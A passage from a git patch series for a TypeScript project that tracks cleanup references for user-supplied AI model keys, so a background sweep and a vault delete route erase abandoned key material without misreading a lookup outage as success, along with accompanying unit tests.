a/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts b/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts index 419e4b7d26..5d9b11c6f7 100644 --- a/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts +++ b/packages/lib/src/agent-accounts/executor/plane-orphan-sweep-worker.ts @@ -12,12 +12,12 @@ * counted as failed and retried on the next run; nothing here throws. */ import type { StoreAdapter } from '../store/store-adapter'; -import type { AccountId, AgentAccountRecord, TenantId } from '@pagespace/db/schema/agent-accounts'; +import type { AccountId, AccountKind, TenantId } from '@pagespace/db/schema/agent-accounts'; import type { PlaneMetadataRepository } from '../store/plane-metadata-repository'; import type { TenantProvisioner } from '../store/infisical-tenant-provisioner-client'; import type { AgentAccountRepository } from '../agent-account-repository'; import { decideOrphanedRefs, ORPHAN_GRACE_MS } from './decide-orphaned-refs'; -import { MODEL_KEY_PROVIDER_SLUG } from '../inference/model-key'; +import type { ModelKeyCleanupRef, ModelKeyCleanupRepository } from '../model-key-cleanup-repository'; const PAGE_SIZE = 200; @@ -63,20 +63,24 @@ export async function sweepOrphanedRefs({ } /** - * `sweepAbandonedModelKeys` — a model key a save gave up on (ADR 0009) without the plane confirming its write keeps - * its never-activated row (credentialVersion 0) as the only reference to whatever reached the vault: the plane may - * hold that material with no metadata row, which `sweepOrphanedRefs` cannot see. Past `ORPHAN_GRACE_MS` (no save - * runs that long) such a row is abandoned: its material is deleted, which searches the vault with or without - * metadata, and the row goes only once the delete succeeded. A row the sweep cannot finish stays for the next run; - * nothing here throws. + * `sweepAbandonedModelKeys` — a model key's save records a cleanup ref (`model_key_cleanup_refs`, no foreign key) + * before its first vault write and clears it once that write is known (ADR 0009). A ref still there past + * `ORPHAN_GRACE_MS` (no save runs that long) belongs to a save that never finished: its write may have left material + * with no plane metadata, which `sweepOrphanedRefs` cannot see, and its owner and account row may be gone. Unless its + * account row shows the key activated (credentialVersion > 0: the plane's metadata owns the material, only the ref is + * stale), the material is deleted (the plane's delete searches the vault with or without metadata), then the row if + * one is left, then the ref. Paged past every ref, so refs that keep failing never block the ones after them; a ref + * the sweep cannot finish stays for the next run. Nothing here throws. */ export async function sweepAbandonedModelKeys({ + cleanupRefs, accounts, provisioner, store, now, }: { - readonly accounts: Pick; + readonly cleanupRefs: Pick; + readonly accounts: Pick; readonly provisioner: Pick; readonly store: Pick; readonly now: () => number; @@ -85,33 +89,36 @@ export async function sweepAbandonedModelKeys({ let scanned = 0; let erased = 0; let failed = 0; - // Paged past every row, so rows that keep failing never keep the sweep from the ones after them. - let after: Parameters[0]['after'] = null; + let after: Parameters[0]['after'] = null; for (;;) { - let rows: Awaited>; + let refs: Awaited>; try { - rows = await accounts.listUnactivated({ providerSlug: MODEL_KEY_PROVIDER_SLUG, createdBefore, after, limit: PAGE_SIZE }); + refs = await cleanupRefs.listDue({ createdBefore, after, limit: PAGE_SIZE }); } catch { failed += 1; break; } - scanned += rows.length; - for (const row of rows) { - if (await eraseAbandoned(row)) erased += 1; + scanned += refs.length; + for (const ref of refs) { + if (await settle(ref)) erased += 1; else failed += 1; } - if (rows.length < PAGE_SIZE) break; - const last = rows[rows.length - 1]!; - after = { createdAt: last.createdAt, id: last.id }; + if (refs.length < PAGE_SIZE) break; + const last = refs[refs.length - 1]!; + after = { createdAt: last.createdAt, accountId: last.accountId }; } return { scanned, erased, failed }; - async function eraseAbandoned(row: AgentAccountRecord): Promise { - // The row's ids are the plane's: a model key's ref is exactly its row. - const ref = { tenantId: row.tenantId as TenantId, accountId: row.id as AccountId, kind: row.kind }; - const tenant = await provisioner.identityOf(ref.tenantId).catch(() => null); - const deleted = tenant === null ? null : await store.delete({ ref, identity: { tenantId: ref.tenantId, identityId: tenant.identityId, channel: 'manage', blastRadius: 'tenant' }, upstream: 'not_attempted' }).catch(() => null); - const gone = deleted !== null && (deleted.ok || deleted.reason === 'not_found'); - return gone && accounts.remove(row.id).then(() => true, () => false); + async function settle(cleanup: ModelKeyCleanupRef): Promise { + const row = await accounts.find(cleanup.accountId).catch(() => undefined); + if (row === undefined) return false; + if (row === null || row.credentialVersion === 0) { + const ref = { tenantId: cleanup.tenantId as TenantId, accountId: cleanup.accountId as AccountId, kind: cleanup.kind as AccountKind }; + const tenant = await provisioner.identityOf(ref.tenantId).catch(() => null); + const deleted = tenant === null ? null : await store.delete({ ref, identity: { tenantId: ref.tenantId, identityId: tenant.identityId, channel: 'manage', blastRadius: 'tenant' }, upstream: 'not_attempted' }).catch(() => null); + if (deleted === null || (!deleted.ok && deleted.reason !== 'not_found')) return false; + if (row !== null && !(await accounts.remove(row.id).then(() => true, () => false))) return false; + } + return cleanupRefs.clear(cleanup.accountId).then(() => true, () => false); } } diff --git a/packages/lib/src/agent-accounts/executor/plane-worker.ts b/packages/lib/src/agent-accounts/executor/plane-worker.ts index fae53720c7..1b11616d2f 100644 --- a/packages/lib/src/agent-accounts/executor/plane-worker.ts +++ b/packages/lib/src/agent-accounts/executor/plane-worker.ts @@ -36,6 +36,7 @@ import { createPinnedHttpsClient, DEFAULT_PINNED_HTTPS_LIMITS } from './pinned-h import { createHttpRequestExecutor } from './http-request-executor'; import { createPlaneRequestHandler } from './plane-http-adapter'; import { sweepAbandonedModelKeys, sweepOrphanedRefs } from './plane-orphan-sweep-worker'; +import { createModelKeyCleanupRepository } from '../model-key-cleanup-repository'; import { hmacSha3_256 } from './plane-crypto'; import { OAUTH_PROVIDER_ENDPOINTS } from '../refresh/oauth-provider-endpoints'; import { AGENT_ACCOUNT_OPERATIONS } from '../registry/google-operations'; @@ -209,9 +210,10 @@ export async function startCredentialPlane({ config }: { readonly config: PlaneC await new Promise((resolve) => server.listen(config.port, resolve)); // Erasure reaches the vault: refs whose reference row cascaded away are deleted (review MED-1). const accounts = createAgentAccountRepository({ db }); + const cleanupRefs = createModelKeyCleanupRepository({ db }); const sweep = setInterval(() => { void sweepOrphanedRefs({ metadata, accounts, provisioner, store, now: () => Date.now() }) - .then(() => sweepAbandonedModelKeys({ accounts, provisioner, store, now: () => Date.now() })) + .then(() => sweepAbandonedModelKeys({ cleanupRefs, accounts, provisioner, store, now: () => Date.now() })) .catch(() => undefined); }, ORPHAN_SWEEP_INTERVAL_MS); sweep.unref(); diff --git a/packages/lib/src/agent-accounts/model-key-cleanup-repository.ts b/packages/lib/src/agent-accounts/model-key-cleanup-repository.ts new file mode 100644 index 0000000000..3c75899829 --- /dev/null +++ b/packages/lib/src/agent-accounts/model-key-cleanup-repository.ts @@ -0,0 +1,56 @@ +/** + * `model_key_cleanup_refs` (ADR 0009): a reference to a model key's vault material from before the plane's first + * write until that write is known. Web records and clears it around a save (`account-authority-executor.ts`); the + * plane's abandoned-model-key sweep reads what is left and clears each ref once it has erased the material. It has no + * foreign key, so it outlives the account row and its owner. + */ +import type { db as defaultDb } from '@pagespace/db/db'; +import { and, asc, eq, gt, lt, or } from '@pagespace/db/operators'; +import { modelKeyCleanupRefs } from '@pagespace/db/schema/model-key-history'; + +export type ModelKeyCleanupRef = { + readonly accountId: string; + readonly tenantId: string; + readonly kind: string; + readonly createdAt: Date; +}; + +export type ModelKeyCleanupRepository = { + /** Before the plane's first write: whatever reaches the vault can be found from here, whatever happens next. */ + readonly record: (ref: { readonly accountId: string; readonly tenantId: string; readonly kind: string }) => Promise; + /** The write is known (committed, refused) or its material is erased. */ + readonly clear: (accountId: string) => Promise; + /** Refs recorded before `createdBefore`, oldest first and after the `after` ref (a page cursor). */ + readonly listDue: (input: { + readonly createdBefore: number; + readonly after: { readonly createdAt: Date; readonly accountId: string } | null; + readonly limit: number; + }) => Promise; +}; + +type CleanupDatabase = Pick; + +export function createModelKeyCleanupRepository({ db }: { readonly db: CleanupDatabase }): ModelKeyCleanupRepository { + return { + async record({ accountId, tenantId, kind }) { + await db.insert(modelKeyCleanupRefs).values({ accountId, tenantId, kind }).onConflictDoNothing(); + }, + + async clear(accountId) { + await db.delete(modelKeyCleanupRefs).where(eq(modelKeyCleanupRefs.accountId, accountId)); + }, + + async listDue({ createdBefore, after, limit }) { + const pastCursor = + after === null + ? undefined + : or(gt(modelKeyCleanupRefs.createdAt, after.createdAt), and(eq(modelKeyCleanupRefs.createdAt, after.createdAt), gt(modelKeyCleanupRefs.accountId, after.accountId))); + return db + .select() + .from(modelKeyCleanupRefs) + .where(and(lt(modelKeyCleanupRefs.createdAt, new Date(createdBefore)), pastCursor)) + .orderBy(asc(modelKeyCleanupRefs.createdAt), asc(modelKeyCleanupRefs.accountId)) + .limit(limit); + }, + }; +} diff --git a/packages/lib/src/compliance/export/gdpr-export-coverage.ts b/packages/lib/src/compliance/export/gdpr-export-coverage.ts index e811cb8bfd..0e1b1379b6 100644 --- a/packages/lib/src/compliance/export/gdpr-export-coverage.ts +++ b/packages/lib/src/compliance/export/gdpr-export-coverage.ts @@ -515,6 +515,10 @@ export const EXCLUDED_TABLES: Readonly> = { // BYOK (ADR 0009): a conversation ran on PageSpace's key — a routing mark keyed by conversation id alone, naming no // person, derived from AI usage that is exported under `aiUsage`. 'model_key_managed_conversations', + // BYOK (ADR 0009): a cleanup reference to a model key's vault material while a save's first write is unconfirmed — + // ids only (the account's and its plane tenant's), never key material, and gone once the write is known or the + // material erased. The model-key account's own row is exported under `agentAccounts`. + 'model_key_cleanup_refs', 'user_page_views', 'message_drafts', ), From 7bdbcaad5c0dc324239f4bf865c786b73a4d8f60 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Mon, 30 Nov 2026 08:29:57 -0600 Subject: [PATCH 29/35] fix(byok): a cleanup ref stays until no write can land; a tenant-lookup outage is not "nothing to erase" Two ways a model-key cleanup ref could be cleared too early: - A put that timed out on web's side may still be running at the plane. If it lands after the abandon's delete, and fails before its metadata commits, nothing would reference the material. abandonModelKey now clears the ref only when the delete succeeded AND the write had committed. An unconfirmed write keeps its ref, and the sweep deletes again past the grace period, when no put can still be running. - The plane's delete route read a null tenant lookup as "no tenant project, nothing in the vault" and answered removed, but identityOf also answers null when the lookup fails. The provisioner gains lookupIdentity (found, absent or unavailable). The delete route answers store_unavailable on an outage, so its caller keeps its ref or row and retries. identityOf and its other callers are unchanged; the sweeps already count a failed lookup as failed. Tests: - the delete route against a real handler: an outage is refused, an absent tenant is removed, a found one deletes under its manage identity (the outage case fails on the old route); - lookupIdentity's three answers; - an unconfirmed write whose delete succeeds keeps its ref; a committed, rejected key's ref is cleared; - the cleanup repository's query shapes. Lib coverage: 94.04% branches against Postgres (gate 94%), 19,218 tests pass. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- .../__tests__/model-key-authority.test.ts | 12 ++- .../model-key-cleanup-repository.test.ts | 36 ++++++++ .../account-authority-executor.ts | 22 ++--- .../__tests__/plane-delete-route.test.ts | 87 +++++++++++++++++++ .../executor/__tests__/plane-health.test.ts | 2 +- .../__tests__/plane-inference-stream.test.ts | 2 +- .../executor/plane-http-adapter.ts | 8 +- .../tenant-provisioner-lookup.test.ts | 26 ++++++ .../infisical-tenant-provisioner-client.ts | 14 +++ packages/lib/vitest.config.ts | 2 + 10 files changed, 194 insertions(+), 17 deletions(-) create mode 100644 packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.test.ts create mode 100644 packages/lib/src/agent-accounts/executor/__tests__/plane-delete-route.test.ts create mode 100644 packages/lib/src/agent-accounts/store/__tests__/tenant-provisioner-lookup.test.ts diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts index 79adb252fd..11a0b08d96 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts @@ -343,11 +343,19 @@ describe('setModelKey / removeModelKey', () => { }); }); - it('given an uncertain write to the plane, should delete whatever reached the vault and keep no row and no cleanup ref', async () => { + it('given an uncertain write whose delete succeeds, should keep the cleanup ref anyway: the timed-out put may still land after that delete', async () => { + // The sweep deletes again from the ref past the grace period, when no put can still be running. const h = harness(); h.failPuts('uncertain'); const saved = await h.authority.setModelKey({ actor, apiKey: keyA }); - expect({ saved, rows: h.rows.size, deleted: h.deleted, refs: h.cleanupRefs.size }).toEqual({ saved: { ok: false, reason: 'plane_unavailable' }, rows: 0, deleted: ['acct_1'], refs: 0 }); + expect({ saved, rows: h.rows.size, deleted: h.deleted, refs: [...h.cleanupRefs] }).toEqual({ saved: { ok: false, reason: 'plane_unavailable' }, rows: 0, deleted: ['acct_1'], refs: ['acct_1'] }); + }); + + it('given a committed key abandoned and deleted (OpenRouter rejected it), should clear its cleanup ref: no write can still land', async () => { + const h = harness(); + h.setKeyCheckStatus(401); + const rejected = await h.authority.setModelKey({ actor, apiKey: keyA }); + expect({ rejected, deleted: h.deleted, refs: h.cleanupRefs.size }).toEqual({ rejected: { ok: false, reason: 'key_rejected' }, deleted: ['acct_1'], refs: 0 }); }); it('given a save, should record its cleanup ref before the vault write and clear it once the write committed', async () => { diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.test.ts new file mode 100644 index 0000000000..2c6cc3d13c --- /dev/null +++ b/packages/lib/src/agent-accounts/__tests__/model-key-cleanup-repository.test.ts @@ -0,0 +1,36 @@ +/** + * `createModelKeyCleanupRepository`'s queries, shape only (the Postgres behaviour is pinned in + * model-key-cleanup-repository.integration.test.ts): a record is idempotent, and the sweep's listing pages from a + * cursor only when it has one. + */ +import { describe, expect, it, vi } from 'vitest'; +import { createModelKeyCleanupRepository } from '../model-key-cleanup-repository'; + +function fakeDb() { + const calls: string[] = []; + const where = vi.fn((condition: unknown) => { + calls.push(`where:${condition === undefined ? 'none' : 'some'}`); + return { orderBy: () => ({ limit: async (n: number) => (calls.push(`limit:${n}`), []) }) }; + }); + const db = { + insert: () => ({ values: () => ({ onConflictDoNothing: async () => void calls.push('insert:ignore-conflict') }) }), + delete: () => ({ where: async () => void calls.push('delete') }), + select: () => ({ from: () => ({ where }) }), + }; + return { db, calls, where }; +} + +describe('createModelKeyCleanupRepository', () => { + it('given a record, a clear and two listings, should insert ignoring a repeat, delete, and page from a cursor only when given one', async () => { + const { db, calls, where } = fakeDb(); + const repo = createModelKeyCleanupRepository({ db: db as never }); + await repo.record({ accountId: 'acct_1', tenantId: 'user:u1', kind: 'api_key' }); + await repo.clear('acct_1'); + await repo.listDue({ createdBefore: 1_000, after: null, limit: 200 }); + await repo.listDue({ createdBefore: 1_000, after: { createdAt: new Date(500), accountId: 'acct_0' }, limit: 200 }); + expect({ calls, listings: where.mock.calls.length }).toEqual({ + calls: ['insert:ignore-conflict', 'delete', 'where:some', 'limit:200', 'where:some', 'limit:200'], + listings: 2, + }); + }); +}); diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts index 3eca466da5..8d6f506807 100644 --- a/packages/lib/src/agent-accounts/account-authority-executor.ts +++ b/packages/lib/src/agent-accounts/account-authority-executor.ts @@ -582,15 +582,17 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth /** * A key a save gives up on (it lost its lock, OpenRouter rejected it, or the plane's answer to its write was - * uncertain) never becomes the person's key: its material is deleted from the vault and its row removed. If the - * plane cannot delete it now, its cleanup ref (`model_key_cleanup_refs`, no foreign key) stays, re-recorded if the - * write had committed and cleared it: the plane's abandoned-model-key sweep erases the material from that ref, - * whether or not the plane holds metadata for it, and even after the person and their rows are gone. + * uncertain) never becomes the person's key: its material is deleted from the vault and its row removed. Its cleanup + * ref (`model_key_cleanup_refs`, no foreign key) is cleared only when that delete succeeded AND the write had + * committed. A write the plane never confirmed may still be in flight (a put that timed out on this side), and + * could land after this delete, so its ref stays: past the grace period, when no put can still be running, the + * plane's abandoned-model-key sweep deletes again and clears it. A delete that failed keeps (or re-records) the ref + * either way. The sweep erases from the ref whether or not the plane holds metadata, and after the person is gone. */ - async function abandonModelKey(row: AgentAccountRecord, result: ModelKeyChangeResult): Promise { + async function abandonModelKey(row: AgentAccountRecord, result: ModelKeyChangeResult, { committed }: { readonly committed: boolean }): Promise { const deleted = await deps.plane.delete({ ref: refOf(row) }).catch(() => null); const gone = deleted !== null && (deleted.ok || deleted.reason === 'not_found'); - if (gone) await deps.modelKeyCleanup.clear(row.id).catch(() => undefined); + if (gone && committed) await deps.modelKeyCleanup.clear(row.id).catch(() => undefined); else await deps.modelKeyCleanup.record(refOf(row)).catch(() => undefined); await deps.accounts.remove(row.id); return result; @@ -632,7 +634,7 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth // Only a definite refusal stored nothing. An uncertain one may have: the key is abandoned, so whatever reached // the vault is deleted now or, from its cleanup ref, by the plane's sweep. const definite = put.reason === 'kind_mismatch' || put.reason === 'consenters_invalid' || put.reason === 'identity_refused' || put.reason === 'version_conflict'; - if (!definite) return abandonModelKey(row, { ok: false, reason: 'plane_unavailable' }); + if (!definite) return abandonModelKey(row, { ok: false, reason: 'plane_unavailable' }, { committed: false }); await deps.modelKeyCleanup.clear(row.id).catch(() => undefined); await deps.accounts.remove(row.id); return { ok: false, reason: 'store_refused' }; @@ -642,7 +644,7 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth await deps.modelKeyCleanup.clear(row.id).catch(() => undefined); // Exclusion is gone (the lock's connection died while the key was being stored): a removal may have run since, so // the key is never activated, and the person saves again. - if (lockLost?.aborted) return abandonModelKey(row, { ok: false, reason: 'conflict' }); + if (lockLost?.aborted) return abandonModelKey(row, { ok: false, reason: 'conflict' }, { committed: true }); await deps.accounts.setCredentialVersion({ id: row.id, version: put.version }); // The person's standing consent for their unattended runs (workflows, crons, agent-to-agent): model calls only, on OpenRouter only. await deps.accounts.insertDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: userId, scope: MODEL_KEY_SCOPE, expiresAt: deps.now() + MODEL_KEY_DELEGATION_TTL_MS }); @@ -655,11 +657,11 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth if (checked.ok) await checked.response.body?.cancel().catch(() => undefined); if (status === 401 || status === 403) { // A key OpenRouter refused never becomes the person's key: it is abandoned (deleted now, or by the orphan sweep). - return abandonModelKey(stored, { ok: false, reason: 'key_rejected' }); + return abandonModelKey(stored, { ok: false, reason: 'key_rejected' }, { committed: true }); } // Exclusion lost during the check (the key check is a network call): a removal may have run meanwhile, so the new // key does not stay active. It is revoked, and the person saves again. - if (lockLost?.aborted) return abandonModelKey(stored, { ok: false, reason: 'conflict' }); + if (lockLost?.aborted) return abandonModelKey(stored, { ok: false, reason: 'conflict' }, { committed: true }); // A previous key that could not be revoked stays active, so the next save or removal retries it; the result // says so rather than reporting a clean replacement. let allRetired = true; diff --git a/packages/lib/src/agent-accounts/executor/__tests__/plane-delete-route.test.ts b/packages/lib/src/agent-accounts/executor/__tests__/plane-delete-route.test.ts new file mode 100644 index 0000000000..23efb6072d --- /dev/null +++ b/packages/lib/src/agent-accounts/executor/__tests__/plane-delete-route.test.ts @@ -0,0 +1,87 @@ +/** + * The plane's delete route never reads a failed tenant lookup as "nothing to erase" (ADR 0009, model-key cleanup): + * a caller that keeps a reference to the material until the delete succeeds (`model_key_cleanup_refs`, the account + * row) must not drop it during an outage of the plane's metadata store. + */ +import { afterEach, describe, expect, it } from 'vitest'; +import { createServer, type Server } from 'node:http'; +import type { AddressInfo } from 'node:net'; +import { createHash, createHmac } from 'node:crypto'; +import { createPlaneRequestHandler, type PlaneRequestHandlerDeps } from '../plane-http-adapter'; +import { PLANE_ROUTES } from '../plane-wire'; +import { PLANE_SIGNATURE_HEADER, signPlaneRequest } from '../plane-request-signature'; +import type { DeleteInput, DeleteResult } from '../../store/store-adapter'; + +const SECRET = 'plane-service-secret-0123456789abcdef'; +const hmac = (key: string, text: string) => createHmac('sha256', key).update(text).digest('hex'); +const sha256 = (bytes: Uint8Array) => createHash('sha256').update(bytes).digest('hex'); +const untouched = (): never => { + throw new Error('a plane operation was reached'); +}; + +type Lookup = Awaited>; + +let server: Server | null = null; + +afterEach(async () => { + if (server !== null) await new Promise((resolve) => server!.close(() => resolve())); + server = null; +}); + +async function planeWith(lookup: Lookup) { + const deletes: DeleteInput[] = []; + const deps: PlaneRequestHandlerDeps = { + secret: SECRET, + store: { + put: untouched, + revoke: untouched, + delete: async (input: DeleteInput): Promise => { + deletes.push(input); + return { ok: true, removed: true, upstream: 'not_attempted' } as DeleteResult; + }, + describe: untouched, + rebind: untouched, + }, + usage: { window: untouched }, + oauth: null, + ssh: null, + inference: null, + browser: null, + provisioner: { ensureTenant: untouched, identityOf: untouched, lookupIdentity: async () => lookup }, + executor: { execute: untouched } as unknown as PlaneRequestHandlerDeps['executor'], + hmac, + sha256, + now: () => Date.now(), + }; + server = createServer(createPlaneRequestHandler(deps)); + await new Promise((resolve) => server!.listen(0, '127.0.0.1', resolve)); + const base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`; + const remove = async () => { + const bytes = new TextEncoder().encode(JSON.stringify({ ref: { tenantId: 'user:u1', accountId: 'acct_1', kind: 'api_key' } })); + const header = signPlaneRequest({ method: 'POST', path: PLANE_ROUTES.delete, body: bytes, secret: SECRET, now: Date.now(), hmac, sha256 }); + const response = await fetch(`${base}${PLANE_ROUTES.delete}`, { method: 'POST', headers: { 'content-type': 'application/json', [PLANE_SIGNATURE_HEADER]: header }, body: bytes }); + return response.json(); + }; + return { remove, deletes }; +} + +describe('the plane delete route', () => { + it('given the tenant lookup failing, should refuse as unavailable and never report the material gone', async () => { + const plane = await planeWith('unavailable'); + expect([await plane.remove(), plane.deletes.length]).toEqual([{ ok: false, reason: 'store_unavailable' }, 0]); + }); + + it('given a tenant never provisioned, should answer removed: nothing of the account can be in the vault', async () => { + const plane = await planeWith('absent'); + expect([await plane.remove(), plane.deletes.length]).toEqual([{ ok: true, removed: true, upstream: 'not_attempted' }, 0]); + }); + + it('given a provisioned tenant, should delete through the store under its manage identity', async () => { + const plane = await planeWith({ projectId: 'proj_1', identityId: 'identity_1' }); + const answer = await plane.remove(); + expect({ answer, identity: plane.deletes[0]?.identity }).toEqual({ + answer: { ok: true, removed: true, upstream: 'not_attempted' }, + identity: { tenantId: 'user:u1', identityId: 'identity_1', channel: 'manage', blastRadius: 'tenant' }, + }); + }); +}); diff --git a/packages/lib/src/agent-accounts/executor/__tests__/plane-health.test.ts b/packages/lib/src/agent-accounts/executor/__tests__/plane-health.test.ts index 1f96bf19d0..189bcc0d7e 100644 --- a/packages/lib/src/agent-accounts/executor/__tests__/plane-health.test.ts +++ b/packages/lib/src/agent-accounts/executor/__tests__/plane-health.test.ts @@ -25,7 +25,7 @@ const deps: PlaneRequestHandlerDeps = { ssh: null, inference: null, browser: null, - provisioner: { ensureTenant: untouched, identityOf: untouched }, + provisioner: { ensureTenant: untouched, identityOf: untouched, lookupIdentity: untouched }, executor: { execute: untouched } as unknown as PlaneRequestHandlerDeps['executor'], hmac: (key, text) => createHmac('sha256', key).update(text).digest('hex'), sha256: (bytes) => createHash('sha256').update(bytes).digest('hex'), diff --git a/packages/lib/src/agent-accounts/executor/__tests__/plane-inference-stream.test.ts b/packages/lib/src/agent-accounts/executor/__tests__/plane-inference-stream.test.ts index 683cbe5465..4f0678a974 100644 --- a/packages/lib/src/agent-accounts/executor/__tests__/plane-inference-stream.test.ts +++ b/packages/lib/src/agent-accounts/executor/__tests__/plane-inference-stream.test.ts @@ -49,7 +49,7 @@ async function listen(inference: InferenceExecutor | null): Promise { ssh: null, inference, browser: null, - provisioner: { ensureTenant: untouched, identityOf: untouched }, + provisioner: { ensureTenant: untouched, identityOf: untouched, lookupIdentity: untouched }, executor: { execute: untouched } as unknown as PlaneRequestHandlerDeps['executor'], hmac, sha256, diff --git a/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts b/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts index 7ed42ad43c..62ca7a9d57 100644 --- a/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts +++ b/packages/lib/src/agent-accounts/executor/plane-http-adapter.ts @@ -65,7 +65,7 @@ export type PlaneRequestHandlerDeps = { readonly usage: Pick; /** Code exchange at enrollment: the pinned endpoints, the plane's OAuth clients and its pinned HTTPS client. */ readonly oauth: { readonly endpoints: OAuthEndpointRegistry; readonly clientFor: (providerSlug: string) => OAuthClientCredentials | null; readonly network: PinnedHttpsClient } | null; - readonly provisioner: Pick; + readonly provisioner: Pick; readonly executor: HttpRequestExecutor; /** SSH accounts (slice 5): the transport for host-key probes and the command executor; null = SSH is off. */ readonly ssh: { readonly client: Pick; readonly executor: SshCommandExecutor } | null; @@ -184,9 +184,11 @@ export function createPlaneRequestHandler(deps: PlaneRequestHandlerDeps): (req: const parsed = planeDeleteBody.safeParse(json); if (!parsed.success) return send(res, 400, { error: 'malformed' }); const { ref } = parsed.data; - const tenant = await deps.provisioner.identityOf(ref.tenantId as TenantId); + const tenant = await deps.provisioner.lookupIdentity(ref.tenantId as TenantId); + // A lookup that failed is not "no tenant": the caller keeps whatever references the material and retries. + if (tenant === 'unavailable') return send(res, 200, { ok: false, reason: 'store_unavailable' }); // No tenant project was ever created: nothing of this account can be in the vault. - if (tenant === null) return send(res, 200, { ok: true, removed: true, upstream: 'not_attempted' }); + if (tenant === 'absent') return send(res, 200, { ok: true, removed: true, upstream: 'not_attempted' }); const result = await deps.store.delete({ ref: ref as SecretRef, upstream: 'not_attempted', identity: { tenantId: ref.tenantId as TenantId, identityId: tenant.identityId, channel: 'manage', blastRadius: 'tenant' } }); return send(res, 200, result.ok || result.reason === 'not_found' ? { ok: true, removed: true, upstream: 'not_attempted' } : result); } diff --git a/packages/lib/src/agent-accounts/store/__tests__/tenant-provisioner-lookup.test.ts b/packages/lib/src/agent-accounts/store/__tests__/tenant-provisioner-lookup.test.ts new file mode 100644 index 0000000000..ac12397f21 --- /dev/null +++ b/packages/lib/src/agent-accounts/store/__tests__/tenant-provisioner-lookup.test.ts @@ -0,0 +1,26 @@ +/** + * `lookupIdentity` tells a tenant never provisioned from a lookup that failed, so an erasure never reads an outage + * of the plane's metadata store as "nothing of this account can be in the vault" (ADR 0009, model-key cleanup). + */ +import { describe, expect, it } from 'vitest'; +import type { TenantId } from '@pagespace/db/schema/agent-accounts'; +import { createInfisicalTenantProvisioner } from '../infisical-tenant-provisioner-client'; + +const provisionerOver = (query: () => Promise<{ rows: unknown[] }>) => + createInfisicalTenantProvisioner({ + baseUrl: 'https://infisical.invalid', + organizationId: 'org_1', + auth: { kind: 'token', token: 't' }, + pool: { query } as never, + advisoryLockPool: {} as never, + }); + +describe('lookupIdentity', () => { + it('given a provisioned tenant, an unprovisioned one, and a failing lookup, should answer found, absent and unavailable', async () => { + const tenant = 'user:u1' as TenantId; + const found = await provisionerOver(async () => ({ rows: [{ project_id: 'proj_1', identity_id: 'identity_1', client_id: 'c' }] })).lookupIdentity(tenant); + const absent = await provisionerOver(async () => ({ rows: [] })).lookupIdentity(tenant); + const unavailable = await provisionerOver(async () => Promise.reject(new Error('metadata store down'))).lookupIdentity(tenant); + expect([found, absent, unavailable]).toEqual([{ projectId: 'proj_1', identityId: 'identity_1' }, 'absent', 'unavailable']); + }); +}); diff --git a/packages/lib/src/agent-accounts/store/infisical-tenant-provisioner-client.ts b/packages/lib/src/agent-accounts/store/infisical-tenant-provisioner-client.ts index 4eae501b9a..ff745a72a0 100644 --- a/packages/lib/src/agent-accounts/store/infisical-tenant-provisioner-client.ts +++ b/packages/lib/src/agent-accounts/store/infisical-tenant-provisioner-client.ts @@ -32,6 +32,11 @@ export type TenantProvisioner = { readonly projectOf: (tenantId: TenantId) => Promise<{ readonly projectId: string } | null>; /** The project and identity of an already-provisioned tenant; null when none (never creates). */ readonly identityOf: (tenantId: TenantId) => Promise<{ readonly projectId: string; readonly identityId: string } | null>; + /** + * Like `identityOf`, but a tenant never provisioned (`absent`) is told apart from a lookup that failed + * (`unavailable`): an erasure must never read an outage as "nothing of this account can be in the vault". + */ + readonly lookupIdentity: (tenantId: TenantId) => Promise<{ readonly projectId: string; readonly identityId: string } | 'absent' | 'unavailable'>; /** Short-lived Universal Auth credentials for the tenant's identity; null when the tenant is not provisioned or minting failed. */ readonly credentialsFor: (input: { readonly tenantId: TenantId; readonly identityId: string }) => Promise; }; @@ -167,6 +172,15 @@ export function createInfisicalTenantProvisioner({ } }, + async lookupIdentity(tenantId) { + try { + const row = await read(tenantId); + return row === null ? 'absent' : { projectId: row.project_id, identityId: row.identity_id }; + } catch { + return 'unavailable'; + } + }, + async credentialsFor({ tenantId, identityId }) { try { const row = await read(tenantId); diff --git a/packages/lib/vitest.config.ts b/packages/lib/vitest.config.ts index 7a52facfd0..08913e158c 100644 --- a/packages/lib/vitest.config.ts +++ b/packages/lib/vitest.config.ts @@ -69,6 +69,7 @@ export default defineConfig({ 'src/organizations/__tests__/departure-suppression.integration.test.ts', 'src/agent-accounts/executor/__tests__/pinned-https-client.integration.test.ts', 'src/agent-accounts/__tests__/agent-account-repository.integration.test.ts', + 'src/agent-accounts/__tests__/model-key-cleanup-repository.integration.test.ts', 'src/agent-accounts/__tests__/plane-client.integration.test.ts', 'src/agent-accounts/__tests__/adversarial/http-executor-end-to-end.integration.test.ts', 'src/organizations/__tests__/org-lapse-loosening.integration.test.ts', @@ -157,6 +158,7 @@ export default defineConfig({ 'src/organizations/__tests__/seat-service.integration.test.ts', 'src/agent-accounts/executor/__tests__/pinned-https-client.integration.test.ts', 'src/agent-accounts/__tests__/agent-account-repository.integration.test.ts', + 